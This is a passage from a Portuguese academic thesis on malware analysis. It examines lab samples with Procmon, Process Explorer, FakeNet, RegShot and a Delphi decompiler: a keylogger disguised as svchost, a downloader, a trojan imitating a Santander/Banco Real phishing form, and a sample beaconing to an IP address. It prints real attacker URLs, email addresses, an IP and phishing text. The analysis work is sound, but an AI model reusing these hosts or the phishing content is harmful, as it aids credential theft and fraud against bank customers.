34:	👷 Explorer. EXE	1504	🛃 QueryOpen	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS	CreationTime: 20/1	
34:	🗑 Explorer. EXE	1504	🛃 CreateFile	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS	Desired Access: E	
34:	👷 Explorer. EXE	1504	🛃 CreateFileMapp.	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS	SyncType: SyncTy	
34:	🚽 Explorer. EXE	1504	🛃 QueryStandardl.	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS	AllocationSize: 2.4	
34:	Explorer.EXE	1504	🛃 CreateFileMapp.	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS	SyncType: SyncTy	
34:	Explorer.EXE	1504	🛃 CloseFile	C:\TOOLS\SysinternalsSuite\Pr	ocmon SUCCESS		
34:	🚞 svchost.exe	1112	🛃 QueryStandardl.	C:\WINDOWS\system32\wberr	NLogsN SUCCESS	AllocationSize: 49	
34:	📩 svchost.exe	1112	🛃 QueryStandardl.	C:\WINDOWS\system32\wberr	NLogsN SUCCESS	AllocationSize: 49	
34:	🚞 svchost.exe	1112	KwriteFile	C:\WINDOWS\system32\wberr	NLogsN SUCCESS	Offset: 47.833, Len	
34:	🚞 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NLogsN SUCCESS	Offset: 45.056, Len	
34:	🚞 svchost.exe	1112	🛃 CloseFile	C:\WINDOWS\system32\wberr	NLogsN SUCCESS		
34:	📩 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\config	softwareSUCCESS	Offset: 2.256.896,	
34:	📑 svchost.exe	1112	ReadFile	C:\\$Directory	SUCCESS	Offset: 0, Length: 4	
34:	📑 svchost.exe	1112	🛃 ReadFile	C:\WINDOWS\system32\wberr	AReposiSUCCESS	Offset: 1.024.000,	
34:	📑 svchost.exe	1112	🏹 Thread Create		SUCCESS	Thread ID: 1228	
34:	🚞 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	AReposiSUCCESS	Offset: 147.456, Le	
34:	📩 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	AReposiSUCCESS	Offset: 21.487.616,	
34:	🚞 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 6.316.032,	
34:	🚞 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 6.316.032,	
34:	📑 svchost.exe	1112	🌄 Thread Create		SUCCESS	Thread ID: 432	
34:	📑 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 753.664, Le	
34:	📑 svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	AReposiSUCCESS	Offset: 1.286.144,	
34:	svchost.exe	1112	🛃 ReadFile	C:\WINDOWS\system32\wben	NReposiSUCCESS	Offset: 1.048.576,	
34:	svchost.exe	1112	🏹 Thread Create	NA AND A REPORT OF	SUCCESS	Thread ID: 1752	
34:	svchost.exe	1112	ReadFile	C:\WINDOWS\system32\config	g\softwareSUCCESS	Offset: 2.310.144,	
34:	svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 106.496, Le	
34:	svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 237.568, Le	
34:	svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	NReposiSUCCESS	Offset: 573.440, Le	
34:	svchost.exe	1112	ReadFile	C:\WINDOWS\system32\wberr	AReposiSUCCESS	Offset: 376.832, Le	

Figura 41 – Tela do *ProcMon* com o arquivo analisado aberto

Próprio Autor

Depois de capturar os eventos, é importante analisar cada um deles. Assim, como teve muitos eventos capturados, foi filtrado para mostrar somente aqueles eventos relacionados ao código analisado. Então, foi filtrado para parecer aqueles eventos relacionados ao nome do arquivo.

Durante a análise, foi observado que o arquivo faz várias chamadas as *APIs* do sistema. No entanto, percebeu-se que, após certo ponto, o mesmo cria um processo na pasta *System32* do *Windows* com o nome de *svchost.exe*. Após a criação do processo, o mesmo fecha um arquivo, fecha uma *thread* e fecha o processo inicial, porém não finaliza o processo criado anteriormente. A imagem 42 mostra essas ações.

21:07: 🗂 Lab-05-01.exe	1424 🛃 CreateFileMapp	C:\WINDOWS\system32\svchost.exe	SUCCESS	SyncType: SyncTypeCreateSection, PageProtection: PAGE_READO
21:07: 🛅 Lab-05-01.exe	1424 🛃 QueryStandardi	C:\WINDOWS\system32\svchost.exe	SUCCESS	AllocationSize: 16.384, EndOfFile: 14.336, NumberOfLinks: 1, DeleteP
21:07: 🚞 Lab-05-01.exe	1424 🛃 CreateFileMapp	C:\WINDOWS\system32\svchost.exe	SUCCESS	SyncType: SyncTypeOther
21:07: 🚞 Lab-05-01.exe	1424 🛃 CreateFile	C:\WINDOWS\system32\svchost.exe	. NAME NOT FOUN	D Desired Access: Generic Read/Execute, Disposition: Open, Options:
21:07: Lab-05-01.exe	1424 🍣 Process Create	C:\WINDOWS\system32\svchost.exe	SUCCESS	PID: 184, Command line: "C:\WINDOWS\system32\svchost.exe"
21:07: 🗖 Lab-05-01.exe	1424 🛃 CloseFile	C:\WINDOWS\system32\svchost.exe	SUCCESS	
21:07: 🚞 Lab-05-01.exe	1424 🧟 Thread Exit		SUCCESS	Thread ID: 836, User Time: 0.0000000, Kernel Time: 0.0000000
21:07: 🚞 Lab-05-01.exe	1424 🧟 Process Exit		SUCCESS	Exit Status: 0, User Time: 0.0100144 seconds, Kernel Time: 0.000000
21:07: 🚞 Lab-05-01.exe	1424 🛃 CloseFile	C:V	SUCCESS	

Figura 42 – Tela do Process Monitor que mostra o arquivo criando um processo

É importante destacar que *svchost* é um espaço, o qual o sistema utiliza para executar suas aplicações. Esse processo possui um "pai"e quando chamado, o mesmo possui parâmetros. No entanto, ao verificar o *Process Explorer*, o processo *svchost.exe*, que está sendo executado, não possui um "pai", não tem parâmetros e possui o mesmo *PID* do processo visto no *Process Monitor*. Assim, como o *PID* é igual, pode-se afirmar que é o mesmo processo. As figuras 42 e 43 mostram o processo e o *PID*.

Image: Second	File Options View Process Find	Users Help			
Process PID CPU Private Bytes Working Set Description Company Name System Idle Process 0 100.00 0 K 16 K System 4 0 K 212 K Interrupts n/a < 0.01	: 🛃 🛃 🚍 🖹 🔜 🔗	🗡 🏘			
System Idle Process 0 100.00 0 K 16 K System 4 0 K 212 K Interrupts n/a < 0.01	Process	PID CPU	Private Bytes	Working Set Description	Company Name
□ System 4 0 K 212 K □ Interrupts n/a < 0.01	System Idle Process	0 100.00	0 K	16 K	
Interrupts n/a < 0.01 0 K 0 K Hardware Interrupts and DPCs	🖃 📩 System	4	0 K	212 K	
🗉 📺 smss.exe 460 164 K 372 K Gerenciador de Sessão do Microsoft Corporation	Interrupts	n/a < 0.01	0 K	0 K Hardware Interrupts and DP	Cs
	🕀 📩 smss.exe	460	164 K	372 K. Gerenciador de Sessão do	. Microsoft Corporation
🕀 🚽 explorer.exe 1544 14.452 K 9.052 K Windows Explorer Microsoft Corporation	🕀 👮 explorer.exe	1544	14.452 K	9.052 K Windows Explorer	Microsoft Corporation
svchost.exe 184 844 K 2.300 K Generic Host Process for Wi Microsoft Corporation	📩 svchost.exe	184	844 K	2.300 K. Generic Host Process for W	Microsoft Corporation

Figura 43 – Tela do Process Explorer com o processo svchost operando na máquina

Próprio Autor

Na ferramenta *Process Explorer*, ao ir em propriedades, para obter algumas informações sobre o processo, foi observado que o arquivo mostrava que era do sistema. Para confirmar essa informação, foi pedido uma verificação. Após esse pedido, foi visto que o mesmo é um arquivo original do *Windows*. As imagens 44 e 45 mostram essas informações.

Image	Performance	Performance	Graph	Disk and Network
-Image File				
	Generic Host Pro Microsoft Corpo	cess for Win32 ration	Services	
Version:	5.1.2600.5512			
Build Time	: Sun Apr 13 16:1	5:12 2008ロ		
Path:				
C:\WINE)OWS\system32\sv	chost.exe		Explore
Command	l line:			
"C:\WIN	DOWS\system32\s	vchost.exe"		
Current d	irectory:			
E:\[crime	esciberneticos.com	Labs\Labs\Lab	05-01\	
Autostart	Location:			
n/a				Explore
Parent:	Lab-05-01.exe(14	16)		
User:	WINXP\Administra	dor		Verify
Started:	18:04:23 24/4/20)20		Bring to Front
Comment:				Kill Process
Data Execu	tion Prevention (DB	P) Status: DEP		

Figura 44 – Tela do Process Explorer com a informação que o arquivo era do sistema

Próprio Autor

Threads	TCP/IP	Security	Environn	nent	Strings
Image	Performance	Performanc	e Graph	Disk an	d Network
-Image File					
	Generic Host Pro	cess for Win3	2 Services		
	(Verified) Microso	oft Windows (Component P	ublisher	
Version:	5.1.2600.5512				
Build Time	: Sun Apr 13 16:1	5:12 2008ロ			
Path:					
C:\WINE	OWS\system32\sv	chost.exe			Explore
Command	l line:				
"⊂:\WIN	DOWS\system32\sv	/chost.exe"			
Current d	irectory:				
C:\					
Autostart	Location:				
n/a					Explore
Parent:	Lab-05-01.exe(142	24)			
User:	WINXP\Administrac	lor		V	erity
Started:	21:07:22 29/4/20	20		Bring	to Front
Comment:				Kill P	rocess
Data Evecu	tion Prevention (DE	D) Statuce DP	D		
	GON FREVENCION (DE	r) Jiaius; De	Г		
			ОК		Cancel

Figura 45 – Tela do $Process\ Explorer$ após a verificação solicitada

É interessante lembrar que quando ocorre uma verificação de um arquivo, é analisado o disco rígido, porém não é examinado a memória. Assim, para ter certeza que o processo é do sistema, foi aberto outra tela de propriedades e comparado as informações contidas no disco rígido e as informações da memória. A figura 46 mostra as informações do disco rígido, e 47 as informações contidas na memória.

Image Performance Performance Graph Dick and	Network
Threads TCP/IP Security Environment	Strings
Threads TCP/IP Decarky Environment	Sangs
Printable strings found in the scan:	
ServiceDII ServiceDIII IntendOnStan	<u>^</u>
serviceDilunioadunstop	
	=
\PIPE\	
DefaultBroStackSize	
AuthenticationCapabilities	
AuthenticationLevel	
ColnitializeSecurityParam	
Software\Microsoft\Windows NT\CurrentVersion\Svchost	
\Registry\Machine\System\CurrentControlSet\Control\SecurePipeSer	vers\
VS_VERSION_INFO	
StringFileInfo	
LompanyName	
Microsoft Lorporation	
FileDescription Generic Host Process for Win22 Services	
FileVersion	
5.1.2600.5512 (xpsp.080413-2111)	
InternalName	
A land and a land	
	Find

Figura 46 – Tela que mostra as informações no disco rígido

TCP/IP Security Environment Strings Printable strings found in the scan:	Image	Performan	e Performan	ce Graph	Disk and Network	Threads
Printable strings found in the scan: GetStringTypeW [Window: ConsoleWindowClass practicalmalwareanalysis.log [SHIFT] [BACKSPACE] BACKSPACE [TAB] [CTRL] [DEL] [CAPS LOCK] [CAPS LOCK] Salvar como Salvar como - Paint tries als: www.sysinternals.com [WINXPVAdministrador] C:\WINDOWS\system32\svchost.exe abcdefghijkImnopqstuvwxyz ABCDEFGHIJKLMN0PQRSTUVWXYZ	TCP/I	>	Security	Envir	ronment	Strings
- Paint rties als: www.sysinternals.com [WINXP\Administrador] C:\WIND0WS\system32\svchost.exe abcdefghijkImnopqrstuvwxyz ABCDEFGHIJKLMN0PQRSTUVWXYZ Image Memory Save Find	Printable str GetStringT [Window: ConsoleWi practicalma [SHIFT] [ENTER] [BACKSPAI [BACKSPAI [BACKSPAI [TAB] [CTRL] [CAPS LO0 [CAPS LO0 Salvar com	ngs found in th ndowClass Iwareanalysis.l (K] (K) o o	becan;			• • • • • • • • • • • • • • • • • • •
Image Memory Save Find	Paint rties als: www.s [WINXPVA C:\WINDO abcdefghijk ABCDEFGI	- dministrador] WS\system32' Ilmnopgrstuvws HJJKLMNOPQF	lsvchost.exe iyz RSTUVWXYZ			
	🔿 Image	Memory			Save	Find

Figura 47 – Tela que mostra as informações da memória

Como visto nas imagens 46 e 47, o conteúdo da memória é diferente do que se tem no disco, ou seja, as informações na memória foge do padrão do disco. Também é importante destacar que há um arquivo com extensão *log*. Esse tipo de arquivo, segundo Barros (2018), registra eventos relacionados ao sistema operacional, aplicativos que estão em execução e dispositivos de rede. Assim, depois dessa comparação, também foi visto que o processo ainda estava ativo. Portanto, para saber o que o mesmo estava realizando na máquina, foi selecionado, no *Process Monitor*, os eventos relacionados ao PID do processo.

🕞 Sem título - Bloco de notas	_ 🗆 🔀
Arquivo Editar Formatar Exibir Ajuda	
Teste malware	~
Analise do arquivo lab05-01.exe	
	\sim
	≥:

Figura 48 – Tela do bloco de notas realizando o teste

〕 practicalmalwareanalysis.log - Bloco de notas	
Arquivo Editar Formatar Exibir Ajuda	
[Windows_Marilla_Singfow]	~
www.compuemsbr0[ENTER]	
Window: Sem título - Bloco d <u>e notas]</u>	
	~
	≥:

Figura 49 – Tela do bloco de notas com o arquivo log aberto

Próprio Autor

O código analisado tem comportamento parecido com o *malware Keylogger*, ou seja, o mesmo fica disfarçado de arquivo de sistema para capturar tudo que o usuário da máquina atingida digita. Para realizar um teste, foi aberto o navegador e digitado o *site www.comp.uems.br* e depois foi aberto um arquivo no bloco de notas. Após isso, foi visto no arquivo *praticamalwareanalysis.log*, as atividades realizadas. As imagens 48 e 49 apresentam essas ações.

5.5 Malware Acessando Site Externo pela Rede

Esse estudo envolve um arquivo executável, o qual foi analisado pela ferramenta *FakeNet*. Assim, antes de começar a análise, é importante verificar se na máquina virtual a configuração de rede está com a opção *host-only*. Essa opção faz com que a máquina virtual não acesse uma rede externa a ela. Após essa verificação, inicializar o *FakeNet* e depois executar o *malware*.

A imagem 50 mostra as atividades que o código realiza. O malware faz uma pesquisa ao DNS, ou seja, o mesmo tenta encontrar o dominio dl.dropbox.com. Após isso, o código faz uma requisição na porta 80 e tenta trazer para a máquina os métodos metodoS.swf, metodoD.swf, metodoL.swf e metodoAux.swf. Se a página procurada estivesse ativa, então seria possível realizar o download desses arquivos.

```
🔤 Prompt de comando - fakenet.exe
                                                                                                                                                             _ 8 ×
                                                                                                                                                                       ٠
[Sent http response to client.]
[DNS Query Received.]
   Domain name: dl.dropbox.com
[DNS Response sent.]
[Received new connection on port: 80.]
[New request on port 80.]
GET /u/26681756/metodoS.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]
 [Received new connection on port: 80.]
[New request on port 80.]
[GET /u/26681756/metodoD.swf HTTP/1.1
    User-Agent: HIIP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]
[Received new connection on port: 80.]
[New request on port 80.]
[GET /u/39262625/metodoL.swf HTTP/1.1
    User-Agent: HIIP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]
[Received new connection on port: 80.]
[New request on port 80.]
GET /u/26681756/metodoAux.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Cache-Control: no-cache
 [Sent http response to client.]
```

Figura 50 – Tela do FakeNet com as atividades do malware

Assim, como o código tenta trazer arquivos para a máquina atingida, o programa pode se encaixar na categoria *Downloader*. De acordo com Stallings e Brown (2015), um *Downloader* é um código, o qual instala outros itens em uma máquina que está sob ataque. Geralmente está incluído no código do *malware* inserido pela primeira vez em um sistema comprometido para então importar um pacote maior de *malware*.

5.6 Arquivo disfarçado de executável

Essa seção envolve o estudo de um arquivo executável, o qual passou pelas seguintes ferramentas: *PEiD*, *Exeinfo PE*, *Delphi Decompiler* e *Delphi 7*. Para iniciar análise, a primeira ferramenta utilizada foi *PEiD* para obter informações sobre o formato do arquivo e qual compilador foi usado pelo código. A imagem 51 abaixo mostra essas informações.

File: C:\La	b-04-02.exe		
Entrypoint:	00006870	EP Section: .text	>
File Offset:	00005F70	First Bytes: E8,21,06,00	>
Linker Info:	8.0	Subsystem: Win32 GUI	>
Microsoft Vi Multi Scan	sual C++ 8 * Task Viewe	r Options About Exi	t

Figura 51 – Tela do *PEiD* com o arquivo analisado aberto

Próprio Autor

Após utilizar o *PEiD*, foi usado o *Exeinfo PE*. Portanto, quando aberto pela ferramenta, a mesma sugere que o arquivo seja renomeado para extensão .*CAB*. A imagem 52 mostra o arquivo aberto pelo programa e essa informação.

	File : Lab-04-02.exe	H R
	Entry Point : 00006870 00 <	EP Section : .text> 86MB
H	File Offset : 00005F70	First Bytes : E8.21.06.00.00 - S Plug
OB	Linker Info : 8.0	SubSystem : Windows GUI
IM	File Size : 0007FC00h	Overlay : NO 00000000 Options
xe	Image is 32bit executable	RES/OVL : 90 / 0 % 2009 Exit
	generic check : MS IExpress x.x - CAB ir	nstaller (in section II)
	Lamer Info - Help Hint - Unpack info	90 ms, 🔛 RIP
	rename file *.exe as *.cab and open wi	th Total Commander (www.ghi: 📔 🚟 🚺 😕

Figura 52 – Tela do Exeinfo PE com o arquivo analisado aberto

Portanto, o arquivo foi renomeado para a extensão indicada pela ferramenta. É importante destacar que arquivos com extensão .CAB apresentam dados compactados. Assim, após renomear o arquivo analisado, o mesmo apresentou ser um arquivo compactado. Depois de descompactá-lo, o mesmo possuía mais dois arquivos com extensão .EXE, os quais também passaram pela ferramenta PEiD como mostram as imagens 53 e 54 abaixo.

File: C:\Re	al.exe				
Entrypoint:	0006E0B4]	EP Section:	CODE	>
File Offset:	0006D4B4	j	First Bytes:	55,8B,EC,83	>
Linker Info:	2.25		Subsystem:	Win32 GUI	>
Borland Del	ohi 6.0 - 7.0				
Multi Scan	Task Viewe	er Options	Abo		it
🔽 Stay on t	юр			>>	->

Figura 53 – Tela do $Peid\ {\rm com}$ o arquivo analisado aberto

File: C:\R	eals.exe		
Entrypoint:	00069458	EP Section: CODE	>
File Offset:	00068858	First Bytes: 55,88,EC,83	>
Linker Info:	2.25	Subsystem: Win32 GUI	>
Borland Del Multi Scar	phi 6.0 - 7.0 Task Viewe	r Options About Exi	t

Figura 54 – Tela do Peid com o arquivo analisado aberto

É interessante destacar que o compilador que as imagens 53 e 54 mostram é o Borland Delphi. No entanto, foi visto anteriormente que o compilador utilizado era Microsoft Visual C++. Assim, imagina-se que o desenvolvedor do programa malicioso queria evitar uma possível análise tentando enganar os analisadores.

Como os códigos foram desenvolvidos na linguagem *Delphi*, é possível abrir esses arquivos. Portanto, para realizar essas atividades foram utilizadas as ferramentas *Delphi Decompiler* e *Delphi* 7.



Figura 55 – Tela do Delphi 7 com o primeiro arquivo analisado aberto

* Possible	String Reference to:	'praque=justus.spamer.brasil@gmail.com,eduardopest@gmail.com
004688C3	BABC8F4600	mov eax, \$00468FBC
00468EC8	8B45F8	mov eax, [ebp-\$08]
00468ECB	8B08	mov ecx, [eax]
* Possible	String Reference to:	'C:\indentificando.txt'
00468F64	B854904600	mov eax, \$00469054
* Possible	String Reference to:	'http://esec.ru/upload/noro.php'
00468F27	BA2C904600	mov edx, \$0046902C

Figura 56 – Tela do *Delphi 7* com o segundo arquivo analisado aberto

Próprio Autor

O arquivo *real.exe* apresentava *strings* referentes ao RG, CPF, estado civil e senha, além de outras, como mostra a imagem 55. Já o segundo arquivo, *reals.exe*, possuia

strings indicando um endereço de e-mail, uma *url* e um arquivo texto, como a imagem 56 apresenta. Também foi visto na ferramenta *Delphi Decompiler* um texto do arquivo *reals.exe*. A imagem 57 mostra o texto identificado.

```
Lines.Strings = (
   "Nas pr#243'ximas semanas o Banco Real estar'#225' fazendo uma atualiza'#231#227'o' +
  'dos dados cadastraisdos fornecedores e, para isso, contratou a '
   'Mercado Eletr'#244'nico, uma empresa especializadaneste tipo de servi' +
   #231'o.
  "A Mercado Eletr'#244'nico est'#225' entrando em contato com nossos "
   'fornecedores e solicitando a atualiza'#231#227'o de dados cadastrais com' +
   'nome da empresa, raz'#227'o social, endere'#231'o, etc. Esta abordagem est' +
   #225'
  'sendo feita por esse modulo de seguran'#231'a Real Santander. '
  'IMPORTANTE: Em nenhum momento dados banc'#225'rios ser'#227'o solicitados '
  'via telefone. '
   'Pedimos a ajuda e colabora'#231#227'o de todos e, para esclarecer maiore' +
   'd'#250'vidas, disponibilizamos abaixo o telefone de contato do Banco ' +
   'Real.'
  '4004-1199 (capitais/regi'#245'es metropolitanas).'
  '0800 286 1199 (demais localidades).')
 ParentFont = False
 TabOrder = 2
end
```

Figura 57 – Tela do *Delphi Decompiler* com o segundo arquivo analisado aberto

Próprio Autor

Depois de identificar as *strings*, foi visto também que o código analisado apresentava uma estrutura de um formulário. Assim, depois de realizar a análise, os arquivos foram executados para ver o que os mesmos realizavam na máquina. As imagens 58, 59 e 60 representam o formulário que o código possui. É interessante destacar que as *strings* observadas na imagem 57 aparecem na tela inicial que o *malware* criou. A imagem 58 apresenta as *strings* utilizadas no formulário.

BANCO REAL	Real Internet Banking	🕹 Santander
Verificação Rea	l	■ Dúvidas?
Leia o cont	rato cuidadosamente antes de prosseguir.	SP: (11) 3553-4445 RJ: (21) 3460-1303 Demais localidades: 0800-286-4040
Nas próximas semana dos dados cadastrais	as o Banco Real estará fazendo uma atualização dos fornecedores e, para isso, contratou a	LAKS (C), for more lakes, support time to
Mercado Eletrônico, u	ma empresa especializadaneste tipo de serviço.	Transmitt 2012/02/14/2012 Transmitt 2012/02/14/2012 Transmitt
A Mercado Eletrônico fornecedores e solicit nome da empresa, ra: sendo feita por esse	está entrando em contato com nossos ando a atualização de dados cadastrais como: zão social, endereço, etc. Esta abordagem está modulo de segurança Real Santander.	
IMPORTANTE: Em nen via telefone.	hum momento dados bancários serão solicitados	
Pedimos a ajuda e col dúvidas, disponibilizar	aboração de todos e, para esclarecer maiores nos abaixo o telefone de contato do Banco Real.	
🔿 Concordo co	m as condições acima.	○ Não concordo com as condições acima.
Santander P	rivacidade Ressalvas	▶ 00300

Figura 58 – Tela inicial do formulário feito pelo $\mathit{malware}$

BANCO REAL Real Internet Banking	💩 Santander
quinta-feira , 23 de abril de 2020	
Seja bem-vindo ao Internet Banking	
Digite os números de sua agência e conta e clique em "OK" para complementar seus dados de Agência: Conta: OR SITE SEGURO VALIDADO FOR VALIDADO FOR	e acesso.
Esqueceu sua Senha de Internet? SP (11) 3553-4445 - RJ (21) 3460-1303 0800-2864040 - (demais localidades)	
Central de Atendimento Real Internet Banking	
Santander Privacidade Ressalvas	▶ 00300

Figura 59 – Segunda tela do formulário feito pelo $\mathit{malware}$

BANCO REAL Real Internet Banking Santand
1º Passo - Preencha seus dados
CPF: RG:
Naturalidade: * Estado civil:
Nome do Pai: * Nome do cônjuge:
Escolaridade: Selecione uma opçã 🔽 Curso:
Profissão: Empressa Atual:
Empresa no ato da abertura: Tempo de Conta:
2º Passo - (Emissão e Confirmação de Autenticidade)
Escolha uma opção: Selecione um cartão. 💌 Vencimento: Mês 💌 / Ano 💌
Cartão de Credito:
Código de segurança: (3 Digitos)
Senha Disk Real: (4 Digitos)
(Obs: * Não Obrigatorio)
Santander Privacidade Ressalvas 00573

Figura 60 – Terceira tela do formulário feito pelo malware

Para realizar um teste e entender o que o *malware* faz na máquina foi preenchido o formulário criado pelo mesmo. As imagens 61 e 62 mostram essas informações. Após realizar esse procedimento foi aberto o arquivo texto que o código malicioso cria. Ao abrir o arquivo foi visto que as informações digitadas no formulário apareciam nesse arquivo. Portanto, acredita-se que o *malware* copiava as informações nesse arquivo texto para enviar nos endereços de *e-mails* vistos. A imagem 63 indica o arquivo texto criado pelo código.

Atualização de Dados (Cadastrais Banco Real Santander.	×
BANCO REAL	Real Internet Banking	💩 Santander
quarta-feira , 29) de abril de 2020	
Seja bem-vind	o ao Internet Banking	
Digite os números Agência: 1234 Co	de sua agência e conta e clique em "OK" para complementar seus dados de onta: 1234567 🛛 🐽	acesso.
Esqueceu sua S	Senha de Internet?	
SP (11) 355 0800-28640 Central de	53-4445 - RJ (21) 3460-1303 040 - (demais localidades) a Atendimento Real Internet Banking	
💩 Santander	Privacidade Ressalvas	▶ 00300

Figura 61 – Tela do formulário preenchida

Atualização de Dados Cadastrais Banco Real Santander.				
BANC	O REAL Real In	ternet Banking		🕹 Santander
	1º Passo - Preencha	seus dados		
	CPF: Naturalidade: Nome do Pai: Escolaridade: Profissão:	000.000.000-00 Brasileira Pai Graduação Estudante	RG: * Estado civil: * Nome do cônjuge: Curso: Empressa Atual:	00000000000 solteira nenhum Computação nenhuma
Empresa no ato da abertura: nenhuma Tempo de Conta: 1 ano 2º Passo - (Emissão e Confirmação de Autenticidade)				
	Escolha uma opção: Visa Cartão de Credito: 22	222222	Vencimento: 1 💌	/ 2008 💌 (16 Digitos)
	Código de segurança: *** Senha Disk Real:	(3 Digito	s) Confii s)	rmar
				(Obs: * Não Obrigatorio)
	Santander Privacidade	Ressalvas		00573

Figura62– Segunda tela do formulário preenchida

〕 indentificando.txt - Bloco de notas	_ 🗆 🔀
Arquivo Editar Formatar Exibir Ajuda	
AG	
	≥

Figura 63 – Tela do arquivo texto que o código malicioso cria

Portanto, o código analisado tem comportamento do *malware trojan horse*, uma vez que o arquivo aparenta ter uma utilidade benéfica. De acordo com Stallings e Brown (2015), um *trojan horse*, é um programa que aparenta ter funcionalidade útil, porém também tem escondida uma potencial função maliciosa que consegue evitar os mecanismos de segurança da maquina atingida.

5.7 Malware Envelopado

Para o estudo desse arquivo foram utilizadas as técnicas estática e dinâmica. Essa seção envolve a análise de um arquivo com extensão .*COM* e as ferramentas utilizadas foram *PEiD*, *FakeNet*, *RegShot*, *IDA Pro*, *Process Monitor*, *Exeinfo PE*. Para obter informações iniciais do código, as primeiras ferramentas utilizadas foram *PEiD* e *Exeinfo PE*. Assim foi visto que o compilador utilizado foi *Borland Delphi* e o arquivo não estava empacotado como as imagens 64 e 65 mostram.

File: C:\Lab-05-02.com			
Entrypoint: 0001B61C	EP Section: CODE >		
File Offset: 0001AA1C	First Bytes: 55,8B,EC,83		
Linker Info: 2,25	Subsystem: Win32 GUI >		
Borland Delphi 6.0 - 7.0			
Multi Scan Task Viewer Options About Exit			
✓ Stay on top >>			

Figura 64 – Tela do PEiD com o arquivo analisado aberto

Próprio Autor

	File: Lab-05-02.com	H R		
	Entry Point : 0001B61C 00 < 8	EP Section : CODE> 86MB		
H	File Offset : 0001AA1C	First Bytes : 55.8B.EC.83.C4 - S Plug		
OF	Linker Info : 2,25	5ubSystem : Windows GUI About		
III	File Size : 00021E00h	Overlay : NO 00000000 Options		
Xe	Image is 32bit executable	RES/OVL: 10 / 0 % 1992 Exit		
Borland Delphi (2.0 - 7.0) 1992 - www.borland.com				
	Lamer Info - Help Hint - Unpack info 100 ms,			
	Not packed , try disassemble OllyDbg (ww	ww.ollydbg.de) or WD32dsm 🔒 🐜 🚺 🤛		

Figura 65 – Tela do $Exeinfo\ PE\ {\rm com}$ o arquivo analisado aberto

Após passar pelas ferramentas *PEiD* e *Exeinfo PE*, foi inicializado o *FakeNet* e aberto a ferramenta *RegShot*. Para realizar a comparação do registro, é preciso que a primeira "foto" seja feita antes que o *malware* seja executado. Assim, é só apertar o botão da primeira foto, como na imagem 15(seção 4.12) apresenta. Após isso, é possível que o código seja executado. Depois de permitir que o *malware* infecte a máquina, a segunda "foto" pode ser tirada. Ao tirar as duas "fotos", a ferramenta apresenta um botão que tem

uma opção de comparação das duas "fotos" para identificar se o código realizou alguma alteração no registro.

Ao selecionar a opção de comparação, um arquivo texto é aberto como a imagem 66 apresenta. O arquivo texto indica que o registro apresentou sete alterações. É importante destacar um arquivo adicionado no registro. Como a imagem 66 mostra, um arquivo faz referência ao *malware* na pasta de *cache*, ou seja, está criando ou ativando alguma chave no registro para se registrar no registro da máquina. *Malwares* que realizam acesso no registro geralmente tentam se inicializar junto com o máquina quando a mesma é ligada.



Figura 66 – Tela do arquivo texto gerado pelo *RegShot* com as mudanças no registro

Próprio Autor

Outra informação que havia no arquivo, quando foi analisado pela primeira vez, era sobre uma página *index.php* que estaria em uma pasta *infect1*, no entanto, essa informação não pode ser encontrada, uma vez que essa página foi retirada do servidor.

Depois de analisar as mudanças no registro, foi visto no *FakeNet* as ações do *malware*. O mesmo tentava trazer para a máquina um arquivo chamado *syscda.html* e tentava acessar o endereço IP 200.98.135.219. Outra ação realizada pelo código era trazer também uma página que estaria em uma pasta com o nome *infect1* do endereço IP visto anteriormente. A imagem 67 mostra essas atividades.

[Received new connection on port: 80.] [New request on port 80.] GET /sistema/modules//syscda.html HTTP/1.1 Host: 200.98.135.219
[Sent http response to client.] [Redirecting a socket destined for 200.98.135.219 to localhost.]
[Received new connection on port: 80.] [New request on port 80.]
GET /sistema/modules//infect1/index.php?chave=xchave&url=%20=¦=%20WINXP <font%20color=ciano>%20=¦=%20CdA%20[<font%20color=gray%20size=2>0kb >l%20-¦-Portuguûs%20<brasil>%20={U3.0}=%205.1</brasil></font%20color=gray%20size=2> HTTP/1.1 Host: 200.98.135.219</font%20color=ciano>

Figura 67 – Tela do FakeNet com o arquivo analisado aberto

Após identificar algumas ações do *malware* no *FakeNet*, a próxima ferramenta utilizada foi *Process Monitor*. Antes de usar esse programa a máquina virtual foi restaurada. Assim, o *Process Monitor* foi inicializado e depois o código malicioso foi executado. Para facilitar a análise, foi filtrado na ferramenta para aparecer os eventos relacionados ao nome do arquivo analisado e desmarcado a opção para aparecer os eventos do registro.

O código realiza acesso na parte administrativa e entra em configurações do administrador na máquina. Essa atividade indica que o *malware* quer ter acesso como um administrador, pois ele não entra como usuário comum, mas sim como um administrador. O código também procura instalações antigas da máquina, isto é, tenta verificar se a máquina já foi infectada por ele. A imagem 68 mostra o *malware* acessando a parte administrativa da máquina.

17:11: 🔤 Lab-05-02.com	1964	QueryOpen C:\Arquivos de programas\GbPlugin
17:11: 🔤 Lab-05-02.com	1964	QueryStandardInformationFileC:\Documents and Settings\Administrador\Configurações locais\Temporary Internet Files\Content.IE5\index.dat
17:11: 🔤 Lab-05-02.com	1964	QueryStandardInformationFileC:\Documents and Settings\Administrador\Configurações locais\Temporary Internet Files\Content.IE5\index.dat
17:11: 🔤 Lab-05-02.com	1964	QueryOpen C:\wsock32.dll

